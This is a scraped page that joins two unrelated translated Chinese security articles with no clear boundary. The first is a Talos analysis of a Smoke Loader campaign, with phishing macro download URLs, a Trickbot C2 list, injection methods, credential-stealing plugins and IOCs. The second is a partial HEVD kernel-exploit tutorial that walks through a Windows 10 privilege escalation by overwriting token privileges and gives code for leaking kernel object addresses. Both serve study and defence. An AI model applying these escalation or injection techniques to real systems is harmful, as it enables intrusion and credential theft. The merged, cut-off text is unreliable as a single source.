本文是翻译文章，文章原作者 Ben Baker,Holger Unterbrink，文章来源：blog.talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在Cisco Advanced Malware Protection’s (AMP) Exploit Prevention发布警告后的几个月里，Cisco
Talos一直在跟踪一个新版本的Smoke
Loader——一个恶意软件，它可以用来加载其他恶意软件。AMP成功地在恶意软件感染主机之前阻止了它，但是进一步的分析显示了Smoke
Loader样本中的一些变化，这些是由这一系列引起我们兴趣的恶意软件引起的，包括在现实世界的恶意软件中第一次使用的PROPagate注入技术。除了上周发布的描述了一个以不同的RIG
Exploit
Kit为基础的运动的一份[报告](https://www.bleepingcomputer.com/news/security/propagate-code-injection-technique-detected-in-the-wild-for-the-first-time/)，我们还没有看到现实中的恶意软件利用这一点。
Talos非常熟悉Smoke Loader。例如，它被用作网络攻击的下载程序，这个攻击是在1月份利用乌克兰会计软件开发商Crystal Finance
Millennium (CFM)的官方网站发起的。
与其他许多活动类似，最初的感染载体是一封带有恶意Microsoft
Word文档的电子邮件。受害者被诱骗打开附件并启用嵌入的宏。这开始了恶意软件的下载链，一直到最后的Smoke Loader及其插件。
Smoke Loader主要用于下载和执行额外的恶意软件，如勒索软件或挖矿程序。使用Smoke
Loader僵尸网络的攻击者在恶意软件论坛上发布了试图出售第三方payload安装的帖子。这个Smoke
Loader的样本没有传播任何额外的可执行文件，这意味着它可能不再像以前那样受欢迎，或者它只是用于私人目的。
这些插件的设计目的都是为了窃取受害者的敏感信息，特别是针对存储的凭据或通过浏览器传输的敏感信息，包括Windows和TeamViewer凭据、电子邮件登录信息等。
## 技术细节
### 感染链
如前面所说的，感染链始于电子邮件和附带的恶意Word文档(b98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc)。你可以在下面看到这封电子邮件的内容：
[](https://p2.ssl.qhimg.com/t01c79202bef37a2ed2.png "图1-钓鱼邮件")
这个Word文档包含一个嵌入宏，该宏启动了第二阶段并下载了Trikbot恶意软件。(0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41）
[](https://p1.ssl.qhimg.com/t017b3c34eb02b61f07.png "图2-电子邮件附件：
IO08784413.doc")
这个文档从hxxp://5[.]149[.]253[.]100/sg3.exe，或hxxp://185[.]117[.]88[.]96/sg3.exe as
%TEMP%[a-zA-Z]{6-9}.exe下载并执行Trikbot恶意软件。这些URL在过去已经提供了多个恶意可执行文件，包括Trikbot的样本。
在我们的案例中，恶意软件最终下载了Smoke
Loader木马(b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40)，它安装了5个额外的
Smoke Loader插件。我们将在本文后面的插件部分中详细描述这些插件。
### TRICKBOT
(0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41)
Smoke Loader经常把Trickbot作为payload。这个样本混淆了代码，我们的测试显示这个样本安装了Smoke
Loader后门。这很可能是恶意软件作为服务（malware-as-a-service）的一个例子，僵尸网络运营商收取费用，在受感染的计算机上安装第三方恶意软件。我们还没有进一步分析Trikbot样本，但是为了示范，我们在这里提供了Trikbot配置(出于安全原因，IP地址做了处理)：
<mcconf>
<ver>1000167</ver>
<gtag>wrm13</gtag>
<srv>185[.]174[.]173[.]34:443</srv>
<srv>162[.]247[.]155[.]114:443</srv>
<srv>185[.]174[.]173[.]116:443</srv>
<srv>185[.]174[.]173[.]241:443</srv>
<srv>62[.]109[.]26[.]121:443</srv>
<srv>185[.]68[.]93[.]27:443</srv>
<srv>137[.]74[.]151[.]148:443</srv>
<srv>185[.]223[.]95[.]66:443</srv>
<srv>85[.]143[.]221[.]60:443</srv>
<srv>195[.]123[.]216[.]115:443</srv>
<srv>94[.]103[.]82[.]216:443</srv>
<srv>185[.]20[.]187[.]13:443</srv>
<srv>185[.]242[.]179[.]118:443</srv>
<srv>62[.]109[.]26[.]208:443</srv>
<srv>213[.]183[.]51[.]54:443</srv>
<srv>62[.]109[.]24[.]176:443</srv>
<srv>62[.]109[.]27[.]196:443</srv>
<srv>185[.]174[.]174[.]156:443</srv>
<srv>37[.]230[.]112[.]146:443</srv>
<srv>185[.]174[.]174[.]72:443</srv>
</servs>
<autorun>
<module name="systeminfo" ctl="GetSystemInfo"/>
<module name="injectDll"/>
</autorun>
</mcconf>
### Smoke Loader packer/注入详细资料
恶意软件经常迭代进程列表以找到要注入的进程。安全研究人员非常了解这个过程，并创建了许多工具来跟踪这种技术中使用的Windows
API，比如CreateToolhelp32Snapshot。这个Smoke Loader样本通过调用Windows API
GetShellWindow来获取shell窗口的句柄，然后调用GetWindowThreadProcessId来获取explorer.exe的进程ID，从而避免迭代进程列表。
然后，Smoke Loader使用标准注入API在Explorer中创建和写入两个内存段，一个用于shell代码，另一个稍后用于
PROPagate注入的UxSubclassInfo结构。
GetShellWindow -> GetWindowThreadProcessId -> NtOpenProcess -> NtCreateSection
-> NtMapViewOfSection x2 -> NtUnmapViewOfSection
从前面对GetShellWindow的调用中检索到的窗口句柄还有一个用途。Smoke
Loader使用EnumChildWindows迭代每个句柄的子窗口，以找到一个包含属性UxSubclassInfo的窗口，这表明它很容易实现PROPagate注入。
[一位安全研究人员](http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/)在2017年末首次描述了PROPagate注入，尽管Smoke Loader开始使用时没有公共POC可用。Smoke
Loader开发人员很可能使用公开可用的PROPagate注释来重新创造这种技术。
[](https://p5.ssl.qhimg.com/t01c7bbff472a394203.png "图3-PROPagate注入")
对于每个子窗口，注入器调用EnumPropsA迭代窗口属性，直到找到UxSubclassInfo。这个功能还说明了这个样本的packer使用的一些反分析（Anti-Analysis）技术。对于控制流混淆，有几个不必要的跳转，包括导致垃圾代码的样本不透明谓词(Opaque Predicates)。
“deobf_NEXT_BULK”接受下一个代码块的大小和偏移量的参数，以便对下一个代码块进行去混淆处理和执行，因此根据需要对大部分恶意代码进行去混淆处理，一旦加载了下一个块，就可以再次混淆。混淆方法是一个简单的单字节XOR，每个块都有相同的硬编码值。
这些反分析技术同时也使用反调试和反VM检查，以及用于扫描属于分析工具的进程和窗口的线程。这些特性使取证、跟踪和调试变得复杂。
[](https://p5.ssl.qhimg.com/t01408f3d623efd8c63.png
"图4-通过WM_NOTIFY和WM_PATE触发恶意事件处理程序")
将shell代码和UxSubclassInfo数据写入远程进程后，注入器调用SetPropA更新窗口的属性，然后向目标窗口发送WM_NOTY和WM_PINE消息，以迫使其触发执行注入的shell代码的恶意事件处理程序。
### 注入SHELLCODE：SMOKE LOADER
Smoke
Loader接收了五个有趣的插件，而不是额外的payload。每个插件都有自己的Explorer.exe进程可在其中执行，恶意软件使用较老的技术将每个插件注入到这些进程中。每个Explorer.exe进程都是使用CREATE_SUSPENDED选项创建的，注入shell代码，然后使用ResumeThread执行。这是复杂的，并留下六个运行在受感染的机器上的Explorer.exe
进程。
## 插件
如前面所说的，这些插件的设计目的都是从受害者那里窃取敏感信息，明确地针对存储的凭据或通过浏览器传输的敏感信息。每个插件都使用互斥锁“opera_shared_counter”来确保多个插件不会同时向同一个进程注入代码。
### 插件1
这是最大的插件，大约有2，000个函数。它包含一个静态链接的SQLite库，用于读取本地数据库文件。
* 它针对Firefox、Internet Explorer、Chrome、Opera、QQ浏览器、Outlook和Thunderbird的存储信息。
* 递归地搜索名为logins.json的文件，解析这些文件的主机名、加密用户名和密码。
* vaultcli.dll——Windows凭据管理器
* POP3、SMTP、IMAP凭据
### 插件2
这个插件递归地搜索目录，寻找要解析的文件。
Outlook
*.pst
*.ost
Thunderbird
*.mab
*.msf
inbox
sent
templates
drafts
archives
The Bat!
*.tbb
*.tbn
*.abd
### 插件3
当凭证和cookie通过HTTP和HTTPS传输时，它会注入到浏览器中，以拦截这些凭证和cookie。
* 如果设置了“fgclearcookies”，则会终止浏览器进程并删除cookie。
* iexplore.exe 和 microsoftedgecp.exe
* HttpSendRequestA
* HttpSendRequestW
* InternetWriteFile
* firefox.exe
* nspr4.dll中的PR_Write或nss3.dll
* chrome.exe
* chrome.dll内的未知函数
* opera.exe
* opera_browser.dll 或 opera.dll内的未知函数
### 插件4
使用ws2_32!send和ws2_32!WSASend尝试窃取ftp、SMTP、POP 3和IMAP的凭据。
### 插件5
这个程序将代码注入TeamViewer.exe以窃取凭据。
## IOC
B98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc
(IO08784413.doc)
0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41 (Trickbot)
b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40 (Smoke
Loader)
Mutex: opera_shared_counter
Trickbot IPs:
185[.]174[.]173[.]34
162[.]247[.]155[.]114
185[.]174[.]173[.]116
185[.]174[.]173[.]241
62[.]109[.]26[.]121
185[.]68[.]93[.]27
137[.]74[.]151[.]148
185[.]223[.]95[.]66
85[.]143[.]221[.]60
195[.]123[.]216[.]115
94[.]103[.]82[.]216
185[.]20[.]187[.]13
185[.]242[.]179[.]118
62[.]109[.]26[.]208
213[.]183[.]51[.]54
62[.]109[.]24[.]176
62[.]109[.]27[.]196
185[.]174[.]174[.]156
37[.]230[.]112[.]146
185[.]174[.]174[.]72
Smoke Loade域名：
ukcompany[.]me
ukcompany[.]pw
ukcompany[.]top
后门文件：%appdata%MicrosoftWindows[a-z]{8}[a-z]{8}.exe
Scheduled Task：Opera scheduled Autoupdate [0-9]{1-10}
## 结论
我们已经看到，特洛伊和僵尸网络市场不断发生变化。球员们在不断提高他们的素质和技术。他们不断修改这些技术，以增强绕过安全工具的能力。这清楚地表明，确保我们所有的系统都是最新的是多么重要。组织可以利用多层次的防御方法来检测和防范这类威胁。塔罗斯继续监测这些运动，因为它们的发展，以确保防御保护我们的客户。我们强烈鼓励用户和组织遵循推荐的安全实践，例如在可用时安装安全补丁，在接收未知第三方的消息时谨慎行事，并确保有一个强大的离线备份解决方案。这些做法将有助于减少妥协的威胁，并应有助于恢复任何此类攻击。
审核人：yiwang 编辑：边边 | 社区文章 |
# HEVD Window Kernel Exploit 02 - Arbitrary Overwrite
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. 前言
作者本人平时学习Windows内核的时候，会按照[HEVD](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)这个教程进行Windows
Kernel Exploit的学习，然而作者懒癌比较严重，装了一台win10 1903 x86的vm却懒得换，所以就硬在这个平台上完成作业。然而在网上发现
**很多该系列的文章讨论的都不是在这个版本上进行的，所以导致很多WP在这个平台上已经不适用了。** 然而现实中，Windows
Kernel的EXP却也依然能够涵盖到非常新的win10版本上，说明即使在最新的win10上，也依然有利用的机会。所以这篇文章想要简单的讨论一下在Win10
1903上，对于这个教程中内核漏洞的利用方式。
关于HEVD，这里简单介绍一下，这个项目其实就是一个故意写了各种漏洞的驱动程序，我们可以通过IOCTL的方式与之交互，从而触发其中的漏洞，对于学习内核来说是一个很棒的项目。关于项目的搭建，网上已经有了很多方案，比如这[这里](http://bobao.360.cn/learning/detail/3448.html)。这篇文章将会直接对其中的`Arbitrary
Overwrite`漏洞进行分析。
## 1\. 漏洞分析
这次我们分析的漏洞叫做`Arbitrary Overwrite`，也就是 **任意地址写** 。这种漏洞的形式通常是
* 一个 **可以被用户输入控制的指针**
* 在被用户输入控制后，能够触发 **对指针所指向内容的修改** :
用代码来表示的话就是形如
int ArbitraryOverWrite(int user_input, int content){
// some code
int *ptr = user_input;
// other code
*ptr = content;
}
这种漏洞在用户态的程序中有一些很容易能够想到的利用方法，比如 **修改内存中一些特定的函数指针，从而控制程序流**
。不过在内核中，这个利用可就困难重重了。在之后的分析里，我们将会提到内核对这类思路做出来的防护。
### 漏洞点
比起直接看代码，不如直接逆向驱动，对后续写exp帮助大，所以这边就直接使用IDA检查一下这个有问题的函数:
int __stdcall ArbitraryOverwriteIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
int v2; // ecx
v2 = 0xC0000001;
if ( a2->Parameters.DeviceIoControl.Type3InputBuffer )
v2 = TriggerArbitraryOverwrite((UserAddr *)a2->Parameters.DeviceIoControl.Type3InputBuffer);
return v2;
}
int __stdcall TriggerArbitraryOverwrite(UserAddr *UserAddress)
{
_DWORD *Where_addr; // edi
_DWORD *What_content; // ebx
ProbeForRead(UserAddress, 8u, 4u);
What = (_DWORD *)UserAddress->What;
Where_addr = (_DWORD *)UserAddress->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserAddress);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where_addr);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*Where_addr = *What;
return 0;
}
这个`UserAddr`是一个代码本身定义的一个结构体:
struct UserAddr
{
int Where;
int What;
};
套用我们刚刚提到的公式：
* Where是一个 **能被用户输入控制的指针**
* Where在被用户控制输入控制后， **用户能控制其写入的内容**
这个就是一个典型的任意地址写，甚至可以写任意的内容。我们将这种漏洞称为`write-what-where`的漏洞。
## 2\. 利用思路
### 2.1 往哪儿写（Win7版本利用思路）
遇到这种漏洞的时候，第一个想到的应该就是 **需要往哪儿写**
。一个常见的套路的是`nt!haldispatchTable`，这是一个`ntokrnl.exe`中一个用来存放`HAL*`函数指针的全局对象。内核中有个很少被调用的API
**NtQueryIntervalProfile** ，这和API在底层会调用`nt!haldispatchTable+4`(64bit 为
`nt!haldispatchTable+8`)中指向的函数。所以当我们往`nt!haldispatchTable+4`写入我们指定的地址，就相当于是劫持了
**NtQueryIntervalProfile** 的调用。而这个API是可以从用户态调用的，那么就相当于我们变相
**从用户态劫持了内核态API的调用**
### 2.2 要写什么（旧思路）
#### shellcode 地址？
第一个直观的想法就是 **将用户态的shellcode地址写上去** 。然而win8开始，就有了SMEP的问题，更何况这边win10
1903，所以直接修改成shellcode的思路是不行的。
#### ExAllocatePool 地址？
这个思路也在网络上看到过，大约就是说通过往这个地址上写入`ExpAllocatePool`这个API的地址，从而让我们call`NtQueryIntervalProfile`这个动作变成call`ExpAllocatePool`。实现在内核中分配shellcode地址。不过由于这个`NtQueryIntervalProfile`传入的参数是会被check的，这边稍微参考一下`ReactOS`的代码
NTSTATUS NTAPI NtQueryIntervalProfile( IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval)
{
KPROCESSOR_MODE PreviousMode = ExGetPreviousMode();
ULONG ReturnInterval;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
// pass some code
/* Query the Interval */
ReturnInterval = (ULONG)KeQueryIntervalProfile(ProfileSource);
可以看到，最后传入`KeQueryIntervalProfile`的只有第一个参数`ProfileSource`，所以我们能控制的变量其实根本不足够去完成一个`ExpAllocatePool`所需要的参数，所以这个思路也是不可行的。
### 2.3 往哪儿写（Win8~Win10 1703之前的版本）
遇到了难题，自己没办法解决的时候只好求助他人了，于是我找到了`wjllz`大师傅的[博客](https://paper.seebug.org/876/)，这里提到说
**将替换API地址改成ROP**
，但是这个方法在我的测试环境上(1903)似乎不能正常work。于是我直接找到了他本人去问。大师傅人很好，给了我很多方向，促使我找到了一篇[blackhat上的文章](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf)，里面提到了一种方法:
这个方法的原理是说，在形如`NtGdiDdDDICreateAllocation`，或者大佬博客里提到的`NtGdiDdDDIGetContextSchedulingPriority`这类和GDI相关的API调用的处理驱动中，有一些函数会从
**win32kbase!gDxgkInterface这个全局对象表中取出自己实际调用的函数地址**
。而这个API是可以接受至少两个参数的，这就让我们替换ExpAllocatePool成为了可能。[这里](https://xz.aliyun.com/t/3134)的分析文章中也提到了，这种攻击是确实可行的。
然而，看到1903中的形式：
上图中的`win32k!NtGdiDdDDIGetContextSchedulingPriority`是驱动所在的导出表的位置，我们看过去
win32k!NtGdiDdDDIGetContextSchedulingPriority:
93e00689 ff259016e093 jmp dword ptr [win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority (93e01690)]
win32k!NtGdiDdDDISetContextSchedulingPriority:
93e0068f ff258c16e093 jmp dword ptr [win32k!_imp__NtGdiDdDDISetContextSchedulingPriority (93e0168c)]
win32k!NtGdiDdDDIGetDeviceState:
93e00695 ff258816e093 jmp dword ptr [win32k!_imp__NtGdiDdDDIGetDeviceState (93e01688)]
然而我们顺着找这个`win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority`的地址，可以找到如下内容:
1: kd> dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
93e01690 9090f62f 90858cb6 90935941 90935a69
93e016a0 9082dad0 940dd204 940dcc95 940dc939
93e016b0 940dbcce 940dbb6f 940dd2af 940dcbd7
这个`9090f62f`正好指向一个实现在`dxgkrnl.sys`的对应函数:
1: kd> u 9090f62f
dxgkrnl!DxgkGetContextSchedulingPriority:
9090f62f 68a8000000 push 0A8h
9090f634 68a0c17d90 push offset dxgkrnl!_realffefffffffffffff+0x1e30 (907dc1a0)
9090f639 e876a5e8ff call dxgkrnl!_SEH_prolog4_GS (90799bb4)
9090f63e 8b7508 mov esi,dword ptr [ebp+8]
9090f641 838d58ffffffff or dword ptr [ebp-0A8h],0FFFFFFFFh
9090f648 33db xor ebx,ebx
仔细看，好像这个调用过程中 **完全没有经过gDxgkInterface这个全局对象**
？在搜索了一些资料后，终于在[这个网站](https://www.unknowncheats.me/forum/2567493-post86.html)上找到了答案，这边提到了一个很重要的事情：`windows
1903`中，大部分的函数已经 **不使用win32kbase作为proxy，而是直接由dxgkrnl.sys导出函数来调用** 。所以这条路也被封死了。
## 3\. 和Linux kernel pwn的联想（新的思路）
回想以前看过Linux 的kernel
pwn，似乎很少提到说，当获得一个WWW漏洞的时候，一定要通过修改函数指针来提权的，大部分提到的都是修改`cred`这个结构体来实现提权。
Windows中的`TOKEN`这个结构体起到的作用就和这个`cred`类似，也是类似Windows下的权限控制。而我们可以看到，很多Windows
kernel下的提权攻击最后一步，也就是将system进程的token拷贝到当前进程。那
**我们直接将当前进程的token修改成类似system的token，是不是也能达到一样的效果呢？**
正好前阵子有一个cve分析的文章出来<https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/>，这个文章里面提到了一个2012年就被提出来的，window kernel
pwn应该做什么的文章<http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf>这篇文章非常好，其讲述了关于Windows下提权的利用思路，其中有一个思路非常重要，就是
**通过修改TOKEN，直接实现将当前进程的提权** 。
### 3.1 通过修改_TOKEN来进行提权
一个进程中的`TOKEN`结构体如下:
typedef struct _TOKEN
{
TOKEN_SOURCE TokenSource;
LUID TokenId;
LUID AuthenticationId;
LUID ParentTokenId;
LARGE_INTEGER ExpirationTime;
PERESOURCE TokenLock;
LUID ModifiedId;
SEP_TOKEN_PRIVILEGES Privileges;
SEP_AUDIT_POLICY AuditPolicy;
ULONG SessionId;
ULONG UserAndGroupCount;
ULONG RestrictedSidCount;
ULONG VariableLength;
ULONG DynamicCharged;
ULONG DynamicAvailable;
ULONG DefaultOwnerIndex;
PSID_AND_ATTRIBUTES UserAndGroups;
PSID_AND_ATTRIBUTES RestrictedSids;
PVOID PrimaryGroup;
ULONG * DynamicPart;
PACL DefaultDacl;
TOKEN_TYPE TokenType;
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
ULONG TokenFlags;
UCHAR TokenInUse;
ULONG IntegrityLevelIndex;
ULONG MandatoryPolicy;
PSECURITY_TOKEN_PROXY_DATA ProxyData;
PSECURITY_TOKEN_AUDIT_DATA AuditData;
PSEP_LOGON_SESSION_REFERENCES LogonSession;
LUID OriginatingLogonSession;
SID_AND_ATTRIBUTES_HASH SidHash;
SID_AND_ATTRIBUTES_HASH RestrictedSidHash;
ULONG VariablePart;
} TOKEN, *PTOKEN;
这个结构体从Win7开始就没有太多的变动了，这里我们关注一下这几个结构体成员变量:
SEP_TOKEN_PRIVILEGES Privileges; // 0x40
这个结构体变量用bit位的方式记录了当前token中使用的privilege（特权）。token本质上是一个描述当前安全对象和其他安全对象之间关系的结构体，在Windows中，进程也是一种安全对象。所以TOKEN也描述了当前进程对其他进程的权限。
当我们使用类似windbg之类的进程对其他各类进程进行调试，这个时候系统就会赋予调试器这个 **调试其他进程的特权** 。特权能够让我们
**往其他更高权限才能够接触到的进程中进行代码注入** ，一个直观的相反就是， **向System进程发起注入** 从而实现进程劫持等等，完成提权。
我们首先检查一下我们跑EXP的进程使用的`token`是怎么样的
: kd> !token
Thread is not impersonating. Using process token...
_EPROCESS 0xffffffffa25de040, _TOKEN 0x0000000000000000
TS Session ID: 0x1
User: S-1-5-21-3717723882-702046769-3252787667-1000
User Groups:
00 S-1-5-21-3717723882-702046769-3252787667-513
Attributes - Mandatory Default Enabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-114
Attributes - Mandatory Default Enabled
03 S-1-5-32-544
Attributes - Mandatory Default Enabled Owner
04 S-1-5-32-545
Attributes - Mandatory Default Enabled
05 S-1-5-4
Attributes - Mandatory Default Enabled
06 S-1-2-1
Attributes - Mandatory Default Enabled
07 S-1-5-11
Attributes - Mandatory Default Enabled
08 S-1-5-15
Attributes - Mandatory Default Enabled
09 S-1-5-113
Attributes - Mandatory Default Enabled
10 S-1-5-5-0-252984
Attributes - Mandatory Default Enabled LogonId
11 S-1-2-0
Attributes - Mandatory Default Enabled
12 S-1-5-64-10
Attributes - Mandatory Default Enabled
13 S-1-16-12288
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-3717723882-702046769-3252787667-513
Privs:
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes -
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes -
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes -
15 0x00000000f SeCreatePagefilePrivilege Attributes -
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled <---所以当前进程token的特权值为0x2000
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
24 0x000000018 SeRemoteShutdownPrivilege Attributes -
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes -
36 0x000000024 SeDelegateSessionUserImpersonatePrivilege Attributes -
Authentication ID: (0,3dca6)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2000 ( Token in use )
Token ID: b18ac1 ParentToken ID: 0
Modified ID: (0, 654e3e)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)
从上可以看到，我们当前进程的权限有一个`SeDebugPrivilege`，这个特权的意思是`Required to debug and adjust
the memory of a process owned by another
account.`，也就是说能够调试并且调整由其他Account（用户）拥有的进程中的内存。做这个实验的时候，我正在用windbg调试，所以权限才会这么高。不过仍然不够，我们希望能够做到的是
**往其他进程中注入线程**
，那么这个时候我们需要的可能就不止这个权限了。根据之前的文章提到，我们此时可以寻找一些合适的特权来完成我们的操作。不过还有一种比较无脑的方式，就是
**将这些特权全部拿到手，就能够保证我们必定提权成功了** 。
### 3.2 攻击代码实现
参照之前提到的那个[CVE分析文章](https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/)，要想要完成修改token的操作，我们需要完成如下的操作:
* 泄露TOKEN在内核中的地址
* 利用WWW漏洞将TOKEN.Privileges修改成-1
所以首先，我们要 **获取当前TOKEN的地址** 。
#### 3.2.1 Windows user-mode 下泄露TOKEN地址
前提：这里需要中等权限（administrator）才能完成泄露
这点其实Windows下有一个神奇的API
NtQuerySystemInformation
能帮我们完成任务。当第一个参数传入的值为`SystemHandleInformation`的时候，可以查询 **当前进程中所有句柄的基本信息**
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
此时返回的变量`outBuffer`的类型为`SYSTEM_HANDLE_INFORMATION`，具体定义如下:
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId; // 当前对象从属的进程id
UCHAR ObjectTypeNumber; // 表示当前对象的类型
UCHAR Flags;
USHORT Handle; // 当前句柄
void* Object; // 句柄所对应的真正object的地址
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
于是我们可以通过检查句柄类型（遍历Handles），找到当前进程中使用的TOKEN的句柄。不过具体这个`ObjectTypeNumber`在win10
1903下具体是几对应哪个内核对象，网上的资料并不多。。。不过我通过`processexp`这个工具，配合一些自己写的代码（主动打开一些句柄），大概总结出几个来:
3 --> Directory
5 --> Token
7 --> Process
37 --> File
44 --> Key
于是这里我们就能够通过便利这个句柄表，找到`TOKEN`对象的真正地址：
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
{
if (handle == (HANDLE)buffer->Handels[i].Handle)
{
//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
DWORD object = (DWORD)buffer->Handels[i].Object;
free(buffer);
return object;
}
}
}
得到TOKEN的地址之后，我们就能够拿到`_TOKEN`结构体中偏移地址为`0x40`的结构体`_SEP_TOKEN_PRIVILEGES`。之后我们来看一下这个结构体的形式：
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
此时`Present`表示的是这个token中被开启的特权，而`Enabled`中表示的是当前token中 **被允许的特权**
。这三个变量都是以bitmap的形式存在的。
在[之前提到的这篇文章中](http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)，作者发现，其实Windows并不会check一个token的`Present`值，而是check`Enabled`这个位置上对应的特权的bit有没有被置为1，来证明其权限是否打开了。所以这里我们就能够简单的利用这一点，将这个变量修改为-1，从而让当前的token获得最高的权限。
分析至此，我们就能够知道，最终我们提权需要作的写入操作为:
*(kTOKEN_addr + 0x48) = -1
#### 3.2.2 最后的提权操作
当我们能够获得当前token的全部特权的时候，实际上相当于我们 **当前已经完成提权了** （所有的特权，不就是最高的权限嘛 : )
）。不过为了证明我们确实完成了提权，我们还是尝试弹出一个用户为systemd的cmd来证明我们已经完成了提权。
谈到要创建一个用户为system的cmd，那么最容易想到的就是 **让一个system用户的进程创建一个cmd进程**
，此时子进程会继承父进程的用户，所以正好就是一个system权限的cmd。
在之前HEVD的练习中，因为拷贝了TOKEN，所以发起攻击的r3进程的用户就被当成了system，所以直接在exp中创建cmd进程即可。不过这次的攻击的token是原先用户的token，至少用whoami看起来并不是system。不过这里为了有system权限的cmd也很简单，我们只要向system用户创建的进程（比方说，pid=4的system进程）远程注入用于创建cmd的shellcode即可~
于是这边就有了最后的提权操作：
DWORD GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
{
if (handle == (HANDLE)buffer->Handels[i].Handle)
{
//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
DWORD object = (DWORD)buffer->Handels[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
